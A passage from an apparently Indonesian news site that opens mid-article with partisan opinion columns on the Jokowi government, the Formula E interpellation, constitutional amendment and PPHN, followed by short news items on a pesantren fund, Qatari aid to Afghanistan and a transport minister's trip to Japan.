pertanyaannya, sampai kapan mereka akan loyal dan siap bertahan? Karena sudah rahasia umum saat ini, Polri adalah institusi anak emas rezim Jokowi yang paling banyak mendapatkan fasilitas dan keuntungan. TNI boleh dikatakan dianaktirikan. Meskipun selalu ada kata sinergitas, namun itu hanya manis di bibir saja bagi yang menjabat. Tapi boleh ditanya pada level menengah (Kolonel ke bawah), bagaimana sakit hati dan kecemburuan TNI pada POLRI secara institusi. Krisis dan resesi yang diderita Jokowi hari ini banyak sekali pengamat ekonomi mengatakan bisa sangat mengancam keberlangsungan pemerintahan Jokowi. Utang dan bunga wajib bayar pada tahun 2021 ini saja sebesar 800 trilyun. Sedangkan pendapatan dari pajak asumsi normalnya 1400 trilyun. Lalu bagaimana dengan belanja rutin dan pembiayan program pemerintah lainnya? Seperti apa kata ekonom Rizal Ramli, negara kalau sudah bayar utang dari utang lagi itu namanya negara itu sudah bangkrut. Sekarang hanya menunggu cadangan logistik pangan dan sembako. Itupun kita bergantung pada import dari Thailand dan Vietnam. Kalau logistik pangan juga habis? Maka kerusuhan pasti akan sulit terelakkan. Ketiga, terbentuknya arus oposisi yang kuat. Meskipun Habieb Rizieq Shihab dan beberapa tokoh politik dipenjarakan seperti organisasi KAMI yaitu Syahganda Nainggolan, Jumhur Hidayat, dan Anton Permana. Namun, detak dan denyut gerakan perlawanan masyarakat oposisi masih sangat kuat. Bedanya dengan tahun 1965 dan 1998, hari ini para kelompok oposisi ini sangat beragam. Mulai dari buruh, mahasiswa, kelompok Islam dan liberal juga mulai bersatu. Sedangkan pendukung pemerintah tinggal dari para Buzzer bayaran dan beberapa influencer ormas dan tokoh karbitan. Namun itu tak cukup kuat sama sekali menopang dan membungkus kebobrokan rezim hari ini. Untung saja ada UU ITE dan wabah virus. Kalau tidak, tak terbayangkan bagaimana caci maki dan demonstrasi massa akan terjadi tiap saat. Dengan adanya UU ITE dan skema PSBB, PPKM, ini menjadi instrumen Polisi sebagai "centeng" utama rezim Jokowi hari ini untuk mengeleminir setiap ancaman dan gangguan pada rezim Jokowi. Dan harus kita akui sampai saat ini, polisi sukses menjalankan tugas ini. Keempat, dukungan luar negeri. Mungkin indikator ini yang mesti mendalam kita cermati. Bagaimana posisi Indonesia di mata dua di antara perseteruan China dan Amerika berserta sekutunya. Yang jelas kita lihat, Indonesia di bawah rezim Jokowi jauh condong berkiblat pada China. Dan Amerika di bawah kepemimlinan Biden ini belum begitu memperhatikan Indonesia. Biden secara geopolitik masih konsentrasi pada mitra utamanya yaitu Jepang-Korsel-Taiwan, untuk Asia Timur. Timur tengah dan Eropah. Artinya, dalam hal indikator dukungan luar negeri, kita belum bisa melihat sebuah langkah konkrit asing terhadap Indonesia. Namun dengan adanya kegiatan latihan militer bersama antara TNI AD dan US Army dalam skema Garuda Shield 2021 di Batu Raja Sumatera Selatan? Kita tidak tahu. Tetapi yang terpenting bagi kita rakyat Indonesia adalah, siapapun yang jadi pemimpin di negeri ini haruslah tetap setia pada konstitusi kita yaitu Pancasila dan UUD 1945, dimana di sana termaktub negara Indonesia adalah berkedaulatan rakyat. Dan Indonesia adalah negara hukum Artinya, rakyat adalah pemegang kekuasaan tertinggi di Indonesia. Bukan partai politik, bukan cukong, ataupun negara asing. Dan jadikanlah hukum sebagai panglima. Bukan politik, dimana secara hukum kita mengamanahkan bagaimana menjadikan negara Indonesia berdaulat, adil dan makmur. Dengan cara, melindungi segenap tumpah darah bangsa Indonesia, mencerdaskan kehidupan bangsa, memajukan kesejahteraan umum, dan baru ikut dalam perdamaian dunia. Kalau ini semua dilaksanakan, insyaAllah Indonesia siapapun pemimpinnya akan berdaulat adil dan makmur. Dan semua itu kembali kepada rakyat Indonesia sebagai pemegang kedaulatan tertinggi. Waalhaualm. *) Pengamat Politik

Modus Konspirasi Dibungkus Interpelasi

Oleh Yusuf Blegur*) Masih banyak lagi praktek distorsi penyelenggaraan negara dan 'abuse of power' oleh rezim kekuasaan yang didukung dan ditopang oleh PDIP, PSI dan kolega lainnya. Segudang masalah rakyat yang sudah akut dan kronis tak akan bisa ditampung oleh presiden dengan 3 periode atau seumur hidup sekalipun. Dimana suara PDIP dan PSI? Apakah bisa PDIP dan PSI bertanya begitu lantang menyuarakan kebenaran dan keadilan seperti pada program Formula E? Fraksi PDIP dan Fraksi PSI belakangan ini terus bergerilya meramaikan parlemen DKI. Pasalnya, kedua fraksi tersebut menjadi penggagas sekaligus menggulirkan hak interpelasi progam Formula E yang diagendakan pemerintah Provinsi DKI Jakarta. Manuver kedua kumpulan politisi yang menjadi perpanjangan tangan partai politik koalisi pemerintahan pusat itu semakin intensif dengan terus berusaha menggalang dukungan luas parlemen dan opini publik. Sudah bisa ditebak, atmosfer politik ibukota berseliweran efek isunya, bagaikan sampah berserakan di gorong-gorong dan sudut kota. Para pendengung, influencer dan buzzer, sepertinya mulai ancang-ancang mengambil momen dan menjadi sibuk merekayasa sedemikian rupa. Bersinergi dengan parpol inisiator interpelasi, seketika memungut dan mempreteli program kreatif dan inovatif penyelenggaraan pemerintahan Ibukota. Kemudian olahan mereka, menjadi propaganda dan agitasi terhadap ajang balap mobil yang merupakan kegiatan olah raga yang prestisius dan berskala internasional. Sejatinya hak interpelasi yang digulirkan anggota DPRD DKI itu. Jika memang digunakan secara ideal dan jujur, merupakan langkah politik yang sah dan wajar-wajar saja. Konstitusi mendukung. Jika benar dan bertanggungjawab memungkinkan dukungan rakyat tak terbendung. Bahkan penggunaan hak interpelasi bisa dianggap baik jika belum bisa dikatakan sebagai prestasi dewan. Karena hak politik legislator terkait menanyakan seberapa strategisnya dan menjadi skala prioritas untuk program pemerintah provinsi DKI. Sejauh ini jarang digunakan oleh parlemen terlebih pada saat itu benar-benar dibutuhkan dan berkolerasi tinggi dengan kehidupan masyarakat. Sayangnya, hak interpelasi yang diinisiasi PDIP dan PSI di parlemen provinsi yang menjadi barometer nasional itu. Saat diluncurkan tidak didukung oleh faktor subyektifitas dan obyektifitas yang mumpuni. Agenda interpelasi sangat kental diselimuti oleh banyaknya persoalan dewan sendiri, yang harusnya bisa diselesaikan dan menjadi ranah internal. Dinamika dan keputusan legislator DKI sangat dipengaruhi oleh interes dan target partai politiknya masing- masing. Mereka bisa bersama di Senayan, namun berpisah di Kebon Sirih. Mulai dari perumusan dan pembahasan masalah, bahkan banyak produk politik yang saling menegasikan. Contohnya pada pengajuan hak interpelasi yang bergulir kali ini, kadung dianggap sepi dan tak direspons banyak pihak. Termasuk oleh sebagian besar fraksi. Selain tidak proporsional, tidak tepat sasaran dan dianggap banyolan oleh masyarakat. Hanya para pendengung, influencer dan buzzer yang terlihat antusias dan bergairah menyikapi hak interpelasi. Kehadiran mereka terasa saat melihat siasat interpelasi dalam parade karangan bunga, video vlog dan pelbagai jasa narasi sumir berbayar. Parlemen Tekor Pada akhirnya publik melihat bergulirnya hak interpelasi soal Formula E. Lebih mengesankan fraksi parlemen pengusungnya, seperti kurang kerjaan dan tendensius. Dinamika DPRD kali ini melalui hak interpelasi dilihat publik sebagai rangkaian dari banyaknya resistensi dan sinisme terhadap program pemerintahan Provinsi DKI Jakarta, khususnya di bawah kepemimpinan Anies Baswedan. Partai Politik yang notabene koalisi pemerintahan nasional dan dominan mewarnai parlemen DKI. Tidak bisa dipungkiri terus melakukan penolakan terhadap figur Anies Baswedan meski kontestasi Pilkada DKI Jakarta telah usai sejak lama. Kemenangan Anies Baswedan sebagai seorang Gubernur Jakarta memang masih menyimpan dendam politik kesumat dan dianggap merusak agenda politik nasional jangka panjang bagi kepentingan tertentu. Konsekuensinya, segala cara dilakukan untuk menjatuhkan, setidaknya merongrong kinerja Anies Baswedan. Faktanya tidak sedikit intrik dan fitnah menyelimuti politik kota metropolitan. Publik masih ingat saat rumor rumah mewah hasil gratifikasi proyek reklamasi dan sederet hoaks yang menerpa Gubernur DKI. Dengan kapasitas dan integritas yang dimiliki seorang Anies Baswedan bisa dibilang, menghadapi perilaku dan ambisi politikus Jakarta jauh lebih menguras energi ketimbang membangun kotanya sendiri. Namun dengan elegan, lagi-lagi Anies menjawab dengan taktis dan humanis. Santun, dengan senyum dan logis membuat lawan politik semakin meringis kehilangan akal. PDIP dan sekutunya menganggap gubernur Jakarta bukan sebagai kawan ideologis dan berbahaya bagi kepentingan konspirasi politik kekuasaan. Anies Baswedan yang belakangan makin bersinar dan digadang-gadang publik menjadi calon pemimpin nasional masa depan. Masih diidentikan dengan sosok yang intoleran, radikal dan terlalu bersahabat dengan gerakan politik dan populisme Islam. Asumsi itu membuat Anies Baswedan yang penuh catatan prestasi dengan segudang karya-karya intelektual dan kebijakan pembangunan humanis. Oleh PDIP dan konco-konco partai politik nasionalis sekuler-liberal yang kapitalistik lainnya. Sistemik membuat framing yang terus-menerus tak berdasar dan penuh kejahatan politik. Anies Baswedan dipaksakan sedemikian rupa dan dengan pelbagai cara direkayasa menjadi musuh bersama. Ambisi gelap dan hitamnya konspirasi menjatuhkan, terlalu kentara dan berlebihan menempatkan Anies sebagai tokoh yang stereotip hingga terkesan antagonis seperti dalam sinetron. Formula E dan Balapan Capres Hak interpelasi DPRD DKI Jakarta yang dimotori Fraksi PDIP dan PSI bukan saja menunjukkan ketidakcerdasan semata, melainkan juga menjadi indikator betapa panik dan reaksionernya penguasa PDIP dan PSI membaca konstelasi politik nasional dan menguatnya figur Anies Baswedan. Beberapa narasi andalan yang menjadi isi interpelasi oleh Fraksi PDIP dan PSI yang lebih dominan disuarakan oleh serdadu bayaran media sosialnya. Seperti mencapai anti klimaks. Laksana buah pohon jatuh ke tanah sebelum masak. Bagaikan niat mendaki gunung namun tergelincir ke jurang. Jauh sebelum paripurna hak interpelasi digelar. Manuver politik Jakarta dari gedung DPRD itu seolah-olah menampar muka sendiri. Menjadi bumerang dan menelanjangi PDIP dan PSI sebagai partai politik berkuasa di pentas nasional. Sungguh menakjubkan dan luar biasa. Bahkan sebelum sidang parlemen berlangsung dan pemerintah provinsi DKI Jakarta dalam hal ini Anies Baswedan selaku gubernur menjawab interpelasi. Publik telah mendahuluinya. Bukan hanya sekadar menjawab, tapi masyarakat Jakarta dan bahkan yang tersebar di seluruh Indonesia memberikan rasionalisasi terhadap interpelasi yang belum berlangsung itu. Juga semua korelasinya terhadap kepentingan dan kehidupan rakyat baik Jakarta maupun nasional yang aktual. Pertama Bahwa rencana kegiatan balap mobil Formula E telah disiapkan baik secara program dan anggaran jauh sebelum pandemi. Artinya, kegiatan tersebut yang pelaksanaannya menjadi isu prioritas pada tahun 2022 seperti yang tertuang dalam Instruksi Gubernur Nomor 49 Tahun 2021. Sesungguhnya telah mengalami proses legislasi dan persetujuan DPRD DKI. Sampai munculnya usulan hak interpelasi, disikapi dengan penolakan hak interpelasi oleh 7 fraksi di parlemen. Mereka diantaranya Fraksi Golkar, Fraksi Gerindra, Fraksi PKS, Fraksi Demokrat, Fraksi PAN, Fraksi Nasdem dan Fraksi PPP-PKB. Ini menegaskan mayoritas fraksi yang berkantor di kawasan balai kota itu menolak usulan hak interpelasi. PDIP dan PSI seperti ditelanjangi dan menahan malu karena itikad politiknya tidak mengikat sebagian besar fraksi seperti yang biasa terjadi di parlemen senayan. Tercium aroma PDIP dan PSI tidak menyukai Anies Baswedan, mitra kerja pemerintahannya di Jakarta. Kedua Terkait kegiatan yang menyerap anggaran yang tidak sedikit, disinyalir menghabiskan lebih dari 1 triliun jika serinya Formula E digelar beberapa tahun. Pemprov DKI telah memberikan rasionalisasi terkait kegiatan itu dengan memenuhi aspek studi kelayakannya (feasibility studies), penganggaran, penyelenggaraan dan potensi kegiatan tersebut. Pun demikian, anggaran biaya Formula ini terbilang besar. Namun rencana pelaksanaan evennya di Jakarta jauh lebih murah dibandingkan dengan penyelenggaraan kegiatan sejenis di beberapa negara lainnya. Kegiatan balap mobil listrik Formula E, ditinjau dari anggaran yang digelontorkan pemprov DKI. Pada substansinya dinilai berpotensi membangun nama baik dan kepercayaan dunia internasional yang berdampak pada investasi luar negeri dan termasuk menggerakkan ekonomi Jakarta hingga 1,2 triliun. Selain ekonomi, ada kampanye penggunanaan moda tranportasi ke depan yang bebas emisi. Ada nilai lebih dari sekedar penggunaan dan pencapaian materi. Ketiga Soal yang terkait dengan sensitivitas dan skala prioritas penyelenggaraan Formula E di tengah pandemi. Anies Baswedan juga telah mengambil kebijakan untuk membatalkan 2 seri Formula E di tahun 2020 dan 2021 karena angka pandemi yang sempat melonjak. Sebuah langkah bijak dan penuh empati dari gubernur metropolitan berkapasitas internasional. Terkait Instruksi Gubernur yang membuat kegiatan Formula E menjadi isu prioritas dilaksanakan pada 2022. Justru hal ini dilakukan agar dapat menjadi salah satu faktor yang dapat memicu sekaligus menggairah ekonomi Jakarta. Mengingat pertumbuhan ekonomi menjadi melambat akibat dampak krisis yang disebabkan pandemi. Pemerintah Provinsi DKI juga berusaha tidak kehilangan anggaran pembiayaan yang tidak sedikit juga, telah dikeluarkan untuk pelaksanaan Formula E. Dengan evaluasi dan antisipasi yang matang, program strategis itu memang layak direalisasikan. Itulah beberapa deskripsi dan eksplorasi program Formula E pemprov DKI yang bersumber pada aspek visioner dan futuristik membangun Jakarta. Tentunya berdasarkan juga pada kemampuan anggaran dan antusiasme sebagian besar masyarakat khususnya kalangan pecinta olah raga dan dunia otomotif. Tak ubahnya pemerintahan pusat dibawah komando Jokowi dengan program pembangunan mercusuar infra strukturnya, meski berbiaya sangat mahal dan fantastis serta menggunakan hutang negara. Menepuk Air Di Dulang, Terpericik Muka Sendiri Alih-alih mendiskreditkan dan mendowngrade kebijakan Anies terkait program Formula E. Kader-kader PDIP dan PSI di balai kota cenderung menjadi keder. Bagaimana mungkin dari kader menjadi keder? Politisi PDIP dan PSI yang sudah lama berseberangan dengan gubernur DKI. Bersama pasukan pendengung, infuencer dan buzzer sering dan selalu mengkapitalisasi kebijakan Anies yang dianggap lemah dan menjadi celah politisasi. Namun justru menjadi bumerang bagi PDIP dan PSI. Menariknya, narasi yang dibangun untuk menyerang Anies Baswedan dalam soal Formula E. Pada esensinya justru menjadi blunder, karena seperti membuka aib mereka sendiri. Apa yang dieksploitasi oleh PDIP dan PSI tentang skala prioritas dan urgensi kebijakan, transparansi dan akuntabilitas anggaran, efisiensi dan efektifitas program serta prinsip-prinsip keadilan sosial dalam pembangunan. Justru nilai-nilai itu yang paling sering dilanggar oleh pemerintahan selaku eksekutif dan legislatif pada level pusat. Mereka seperti sedang menghakimi orang lain tidak Pancasilais dan merongrong NKRI, seiring itu mereka hidup dalam kemunafikan politik. Mirisnya, PDIP dan PSI adalah partai penyokong kekuasaan, terlebih salah satu petugas partai PDIP menjadi seorang presiden, pucuk pimpinan negara yang menentukan baik buruknya nasib rakyat dan negara secara keseluruhan. Kader-kader PDIP dan kompatriotnya yang melakukan korupsi bansos saat rakyat hidup menderita karena pandemi. Seperti tidak membekas dan tidak tahu malu. Korupsi juga mewabah hampir di semua lini dan lintas sektor lembaga pemerintahan yang banyak diisi oleh kader-kader PDIP dan koalisinya. Begitu juga soal hutang negara yang terus membengkak yang dipenuhi bisnis rente dan rawan korupsi, semakin membebani dan mencekik hidup rakyat. Tidak sedikit perampokan dan pemborosan uang negara oleh mereka melalui bagi-bagi kekuasaan dengan mendudukkan relawan dan kader partai yang tidak kapabel dan kompeten pada jabatan publik yang penting dan strategis. Begitu juga dengan PPKM yang berjilid-jilid dan aturan prokes lainya. Terutama saat pandemi dijadikan politik dan alat melanggengkan kekuasaan. Bukan hanya intimidasi, teror dan kekerasaan, rakyat kecil harus mengalaminya hanya kerena ingin bekerja mencari rezeki untuk memenuhi nafkah keluarganya. Mereka rakyat kecil harus menderita dan mengalami penindasan justru pada saat memperjuangkan haknya sebagai warga negara. Kehidupan demokrasi juga dibungkam. Hukum menjadi alat kekuasaan. Hanya melahirkan sistem tebang pilih, tajam ke bawah tumpul ke atas. Pelecehan dan penistaan agama terus mengalami pembiaran. Bukan hanya suara dan aksi unjuk rasa yang direpresi, sekadar karya seni lewat mural juga diburu aparat keamanan. Keadilan hanya mimpi, yang nyata rezim yang tirani. Bagaimana sikap dan tindakan PDIP dan PSI mewujudkan rasa peduli dan keberpihakannya pada rakyat seperti saat kritis pada kebijakan Formula E? Apa yang dilakukan saat rakyat mengeluh Tuhan aku lapar? Apa responsnya saat rakyat bicara aku cuma ingin kesehatan bukan aturan?. Bertanyalah pada rakyat, apa yang sesungguhnya dialami dan dirasakan rakyat?. Tentang rasa sakitnya dan tentang tangisnya. Tentang kelaparannya, kehilangan dan kematiannya. Harusnya PDIP dan PSI tegas mengambil inisiatif dan solusi persoalan yang dihadapi rakyat di depan mata. Berani bertanya pada presiden soal rakyat yang hidupnya begitu sengsara. Tanyalah dan dapatkan jawabannya dengan solusi bukan akrobatik yang tidak lucu dan tidak bisa menghibur, bahkan melukai rakyat. Mengapa hanya bertanya pada seorang Anies Baswedan, gubernur DKI dengan segudang prestasi tapi tetap low profile dan senyum meski didzolimi?. Masihkah inisiator interpelasi DPRD DKI memiliki kehormatan?. Masihkah PDIP dan PSI punya kemaluan? Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Amandemen UUD 45 dan Nyali DPR

Hak interpelasi DPR untuk minta keterangan kepada MPR dan pemerintah terkait kebijakannya yang berdampak luas terhadap masyarakat luas, baik yang menyangkut transparasi maupun akuntabel harus ditunjukkan kepada rakyat secara horizontal dan integral. Oleh Sugengwaras Ini juga menyangkut isu-isu terkait diwacanakannya Amandemen UUD 1945 yang diprediksi akan mengantar dan membuka peluang pada jabatan presiden tiga periode, pengunduran pilpres ke tahun 2027, pengunduran pelaksanaan pilkada 2024 menjadi 2026 serta penyerentakan pilkada dan pilpres yang akan datang. Perencanaan yang cermat dari rezim Jokowi yang sering kebablasan dan mengabaikan aturan-aturan sebelumnya menjadi pelajaran kita semua di mana sering dimulai dari perubahan / pembaruan UU atau perppu sebelumnya sebagai landasan perubahan UU dan Perppu selanjutnya. Di sisi lain menjadi kekhasan Jokowi sejak perjalanannya menduduki jabatan Gubernur Jakarta maupun presiden RI yang berindikasi pura-pura tidak mau tapi sebenarnya mau! Dalam dunia politik tidak ada yang tetap kecuali perubahan itu sendiri. Oleh karenanya menjadi PR kita bersama peka peduli dan antisipasi terhadap rencana-rencana tersebut di mana selama periode pemerintahan Jokowi, bermisi jauh, besar dan tinggi di luar kemampuan diri bahkan menggaruk kemampuan / potensi presiden yang akan datang. Jika wacana Amandemen jadi kenyataan, berarti ini merupakan perubahan / amandemen yang kelima kalinya. Sesungguhnya masalah perubahan tidak ada masalah selama itu memang urgen, signifikan dan bermanfaat bagi negara dan masyarakat. Namun dikaitkan situasi dan kondisi negara saat ini, terutama masih gamangnya penyelesaian pandemi Covid19 dan masalah-masalah krusial lainnya, ini yang perlu dipertimbangkan sebaik baiknya. Jika kita cermat, setiap visi dan misi Presiden perlu disepakati. Berangkat dari makna visi, sebagai pandangan, cita-cita dan tujuan jangka panjang, jauh ke depan, yang tidak harus konkret namun logis realistik, sedangkan makna misi sebagai cara mencapai tujuan jangka yang ditentukan, tahapan, maka ini yang harus dipahami kita semua. Pokok Pokok Haluan Negara (PPHN), sebagai tahapan mencapai Garis Besar Haluan Negara (GBHN) hingga kini belum dirumuskan dan belum terwujud. Jadi rumusan GBHN dan PPHN inilah yang lebih utama diwujudkan ( tiap periode menjalankan PPHN dalam rangka menunujang GBHN), dengan kata lain PPHN merupakan misi / target tiap periode dalam rangka mendukung GBHN yang akan dilaksanakan pada periode periode selanjutnya. Jadi kesimpulannya, wacana perumusan GBHN untuk jangka waktu 25 tahun dan PPHN untuk tiap 5 tahun (satu periode) lebih utama dari pada merumuskan wacana jabatan presiden tiga periode. *) Purnawirawan TNI AD

PPHN adalah Kudeta Haluan Negara

By M Rizal Fadillah PPHN atau Pokok Pokok Haluan Negara yang secara formal diperkenalkan oleh Ketua MPR Bambang Soesatyo saat mengantarkan Pidato Kenegaraan Presiden Jokowi, yang berbaju adat, tanggal 16 Agustus 2021 sebenarnya sudah dicanangkan oleh PDIP sejak tahun 2015 dan diperkuat tahun 2019. Masa kepresidenan Jokowi. Setelah gagal di DPR untuk menggolkan RUU Haluan Ideologi Pancasila (HIP) yang mengarah pada Ekasila yaitu Gotong Royong dan atau menghidupkan Pancasila 1 Juni 1945 untuk “menggantikan” spirit Pancasila 18 Agustus 1945, maka kini gagasan itu dicoba untuk masuk ke ruang MPR melalui PPHN. Perencanaan jangka panjang yang sekaligus menjadi arah dari bangsa dan negara untuk menggantikan GBHN. PPHN digagas dan diputuskan PDIP pada Kongres V Bali tahun 2019. Semestinya kembali ke GBHN, hanya saja PDIP alergi pada GBHN yang menjadi “benchmark” Orde Baru. Sukses GBHN dijalankan Presiden Soeharto “musuh” Soekarno. Sebenarnya secara normatif GBHN adalah ketentuan Pasal 3 UUD 1945 yang ditetapkan PPKI yang justru diketuai oleh Soekarno. Bagi PDIP, PPHN adalah gabungan GBHN era Soekarno dan Soeharto. Soal GBHN masa Soeharto kita semua sudah tahu, bahkan menjadi bahan ajar anak sekolah. Nah “GBHN” era Soekarno itu apa ? Ternyata berawal dari Pola Pembangunan Nasional Semesta Berencana (PNSB) yang basisnya adalah Manipol/Usdek (Manifesto Politik/UUD 1945, Sosialisme Indonesia, Demokrasi Terpimpin, Ekonomi Terpimpin, Kepribadian Indonesia). Pidato Soekarno 17 Agustus 1962 berjudul “Tahun Kemenangan” berisi penegasan kewajiban rakyat Indonesia untuk bersatu padu dan bergotong royong memegang teguh Manipol/Usdek. Di era demokrasi terpimpin inilah kekuatan politik disatukan dalam “Nasakom”. Sementara kekuatan Islam dimarjinalisasi. Masyumi dibubarkan. Jika PPHN mengambil dasar filosofis dari pemikiran Soekarno era 1959-1965 maka nuansanya adalah demokrasi terpimpin Orde Lama. Jika digabungkan dengan GBHN, maka PPHN menjadi bersifat anti reformasi. Orla yang berkolaborasi dengan Orba adalah kemunduran sekaligus ancaman bagi demokrasi. Jika demikian, PPHN tidak lain adalah kudeta haluan negara. Karenanya amandemen UUD 1945 yang berencana menetapkan PPHN harus ditolak keras. Di samping dinilai akan mengacaukan konsentrasi penanganan pandemi covid 19, juga berbahaya karena akan membawa negara pada kemunduran berdemokrasi. PPHN adalah sebuah bid’ah Konstitusi yang menambah marak obrolan dan obralan tentang Amandemen. Pembahasan yang dipastikan membuang enerji dan hanya akan menciptakan kegaduhan baru. *) Pemerhati Politik dan Kebangsaan

F-PPP Dorong Pemerintah Alokasikan Dana Abadi Pasantren

Jakarta, FNN - Sekretaris Fraksi PPP DPR RI Achmad Baidowi mendorong pemerintah untuk mengalokasikan dana abadi pesantren pada tahun anggaran 2022 yang berasal dari dana abadi pendidikan. "Saat ini DPR dan pemerintah sedang membahas RUU APBN 2022 di Badan Anggaran. Oleh karena itu, kami mendorong dimasukkannya dana abadi pesantren pada tahun 2022 yang diambilkan dari dana abadi pendidikan," kata Achmad Baidowi dalam keterangannya di Jakarta, Ahad, 5 September 2021. Ia menegaskan, dana abadi pesantren merupakan amanat dari Undang-Undang Nomor 18 Tahun 2019 tentang Pesantren, Pasal 49 ayat (1) dan (2). Pasal 49 Ayat (1) menyebutkan, Pemerintah menyediakan dan mengelola dana abadi pesantren yang bersumber dan merupakan bagian dari dana abadi pendidikan. Dalam Pasal 49 Ayat (2) disebutkan, ketentuan mengenai dana abadi pesantren sebagaimana dimaksud pada ayat (1) diatur dengan peraturan presiden. Baidowi mengatakan, ketentuan tersebut mewajibkan pemerintah untuk penyediaan anggaran pesantren dan pembentukan dana abadi pesantren yang bersumber dari dana pendidikan. "Undang-Undang Pesantren sudah disahkan sejak 2 tahun lalu. Namun, realisasi dana abadi pesantren belum terwujud. Kami mendorong agar pemerintah mewujudkan amanat UU Pesantren terkait dengan dana abadi pesantren," ujarnya, sebagaimana dikutip dari Antara. Baidowi menilai keberadaan dana abadi pesantren merupakan wujud kehadiran negara untuk menjaga keberlangsungan pesantren di Indonesia. Terkait dengan besaran dana abadi pesantren, dia menyerahkan sepenuhnya kepada pemerintah untuk menyesuaikan dengan kemampuan dan kondisi keuangan negara saat ini. (MD).

Qatar Terbangkan Bantuan Kemanusiaan ke Afghaninstan

Dubai, FNN - Qatar telah menerbangkan bantuan kemanusiaan ke Kabul. Negara tersebut akan mengoperasikan penerbangan harian mengangkut bantuan ke Afghanistan selama beberapa hari ke depan. Negara itu akan menyediakan pasokan yang sangat dibutuhkan saat bantuan dari negara-negara Barat sedang terhenti setelah Taliban mengambil alih kekuasaan pada Agustus. Sebuah penerbangan bantuan Qatar dengan membawa pasokan medis dan produk makanan tiba di Kabul pada Sabtu (4/9). "Duta Besar Qatar untuk Afghanistan Saeed bin Mubarak Al Khayareen hadir di bandara menyambut kedatangan penerbangan tersebut," demikian isi pernyataan Kementerian Luar Negeri Qatar. Qatar muncul sebagai penghubung utama antara negara-negara Barat dan Taliban. Hal itu terjadi, setelah negara tersebut mengembangkan hubungan dekat dengan Taliban, dan mengizinkan kelompok itu menjalankan kantor politik di Qatar sejak 2013. Negara Teluk itu telah membantu membuka kembali bandara di Kabul, yang ditutup selama beberapa hari setelah evakuasi udara yang dipimpin Amerika Serikat terhadap warganya, warga Afghanistan, dan warga negara lainnya berakhir bulan lalu. Setengah dari 40 juta orang Afghanistan, termasuk 10 juta anak-anak, membutuhkan bantuan kemanusiaan pada awal tahun ini. Demikian data yang dikeluarkan Organisasi Internasional untuk Migrasi (IOM) akhir Agustus. IOM menambahkan, kebutuhan diperkirakan akan meningkat. (MD).

Menhub Kunjungi Jepang Pastikan Percepatan Proyek Transportasi

Jakarta, FNN - Kementerian Perhubungan (Kemenhub) mendorong Pemerintah Jepang untuk memastikan percepatan kerjasama pelaksanaan sejumlah proyek pembangunan infrastruktur transportasi di Indonesia, agar dapat berjalan sesuai dengan harapan dan target waktu yang telah ditetapkan. “Kami ingin melakukan pertemuan Government to Government (G to G) dengan Pemerintah Jepang sehingga akan lebih memuluskan dan mempercepat kerja sama Government to Business (G to B) maupun Business to Business (B to B) dalam empat proyek pembangunan infrastruktur transportasi yang di kerjasamakan oleh kedua negara," kata Mentei Perhubungan Budi Karya Sumadi dalam pernyataannya yang dipantau di Jakarta, Minggu. Menhub menambahkan, sesuai arahan Presiden Joko Widodo untuk mempercepat penyelesaian proyek infrastruktur nasional termasuk transportasi, kami menginginkan proyek kerjasama kedua negara ini dapat terus dipercepat dan berjalan sesuai dengan rencana. Menhub Budi Karya secara khusus bertolak ke Jepang untuk bertemu langsung dengan sejumlah pihak di Jepang seperti Menteri Pertanahan, Infrastruktur, Transportasi, dan Pariwisata Jepang (Minister of Land, Infrastructure, Transportation, and Tourism) AKABA Kazuyoshi, Penasehat Khusus Perdana Menteri Jepang, Menteri Negara Urusan Luar Negeri Jepang, Mantan Perdana Menteri Jepang Yasuo Fukuda, dari pihak lembaga keuangan Jepang yaitu Chief Executive Officer (CEO) Japan Bank for International Cooperation (JBIC) Tadashi Maeda, serta beberapa pihak non-pemerintah Jepang lainnya, guna memastikan percepatan sejumlah proyek pembangunan infrastuktur yang dikerjasamakan kedua negara dapat berjalan dengan baik dan sesuai rencana, seperti diantaranya: Pembangunan MRT Fase 2, KA Makassar-Parepare, Pelabuhan Patimban, dan Proving Ground BPLJSKB Bekasi. Ia berharap, Pemerintah Jepang dapat ikut mendorong perusahaan dan konsorsium Jepang yang berpartisipasi dalam proyek untuk lebih serius berkomitmen dalam menyelesaikan pembangunan proyek sesuai yang diharapkan. Selain itu, Menhub juga mendorong Pemerintah Jepang untuk mengajak lebih banyak lagi perusahaan asal Jepang untuk mengikuti proses tender beberapa proyek pembangunan infrastuktur transportasi di Indonesia. Menhub menjelaskan, dari keempat proyek yang dikerjasamakan dengan Jepang, dua diantaranya masih perlu didorong keseriusan, komitmen dan upaya keras pihak Jepang, untuk menyelesaikan proyek sesuai dengan target waktu yang ditetapkan. Sementara dua proyek lainnya tengah berproses dan diharapkan akan dapat terus berjalan sesuai rencana dan harapan. Pada proyek MRT Fase 2, masih ada permasalahan pada harga penawaran yang terlalu tinggi dari kontraktor Jepang. Untuk itu Menhub meminta pihak Jepang untuk melakukan penyesuaian harga dengan nilai yang adil dan wajar agar pembangunan fisik segera dapat dilanjutkan. Pada proyek Pelabuhan Patimban, Pemerintah Indonesia mendorong Pemerintah Jepang untuk ikut mempercepat pembentukan konsorsium Jepang-Indonesia dalam pengoperasian Car Terminal dan Container Terminal di Pelabuhan Patimban, yaitu antara PT Pelabuhan Patimban Internasional dan Toyota Tsusho Corporation yang saat ini masih dalam proses negosiasi. Selain itu, Menhub juga akan secara khusus mengupayakan kenaikan TKDN Indonesia pada proyek Pelabuhan Patimban yang dikerjasamakan dengan Jepang. Sementara, Indonesia menyambut baik ketertarikan Jepang untuk berpartisipasi dalam proyek KPBU pembangunan Proving Ground di Bekasi. Saat ini proyek tersebut tengah dalam proses pelelangan, dimana ada terdapat perusahaan asal Jepang yang mengikuti lelang tersebut. Pemerintah Indonesia terus berharap akan terdapat perusahaan asal Jepang lainnya sehingga kompetisi dan proses lelang dapat menghasilkan yang terbaik. Untuk pembangunan proyek Pelabuhan Patimban dan Proving Ground Bekasi, Menhub juga akan menjajaki untuk mendapatkan dukungan sumber pembiayaan dengan biaya yang kompetitif dan mampu memberikan bunga pinjaman yang rendah baik melalui investor maupun dari lembaga keuangan Jepang. Kemudian, pada proyek Kereta Api Makassar-Parepare sudah berjalan sesuai rencana dan saat ini tengah dalam proses menuju Financial Close. Proyek ini terbagi menjadi 5 (lima) segmen, dan 1 (satu) segmennya diproyeksikan sudah akan dapat beroperasi di akhir tahun 2021 atau awal tahun 2022. Pemerintah Indonesia membutuhkan dukungan Jepang dalam pengoperasiannya secara penuh dan ideal. Karena itu Menhub juga akan memanfaatkan kesempatan 